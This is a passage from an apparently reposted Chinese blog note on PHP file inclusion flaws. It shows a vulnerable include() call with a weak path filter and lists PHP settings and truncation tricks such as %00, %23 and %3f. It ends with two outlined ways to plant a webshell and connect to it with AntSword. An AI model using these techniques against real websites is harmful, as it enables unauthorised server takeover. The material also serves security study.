    以动态变量引入的方式获取待包含文件:include($file . '.html.php');

3.攻击者对变量是否可控?
    变量不完全可控:
    $file = $_GET['page']
    $file = str_replace( array( "http://", "https://" ),"", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file);

4.远程文件包含,对php的两个参数开关都做要求
    allow_url_fopen=on
    allow_url_include=on
    
5.%00截断,对php参数开关的要求:
    magic_quotes_gpc=off

6.%23注释和%3f截断,对php的魔术字参数开关没有要求,但是只能是在远程文件包含的时候使用
    magic_quotes_gpc=on
    
5.远程文件包含getshell姿势:
    姿势1:直接蚁剑连接包含的shell即可
    姿势2:远程包含一个wshell,生成一个当前页面目录下的shell,最后再蚁剑连接当前页面目录下的shell

img 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122755084
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复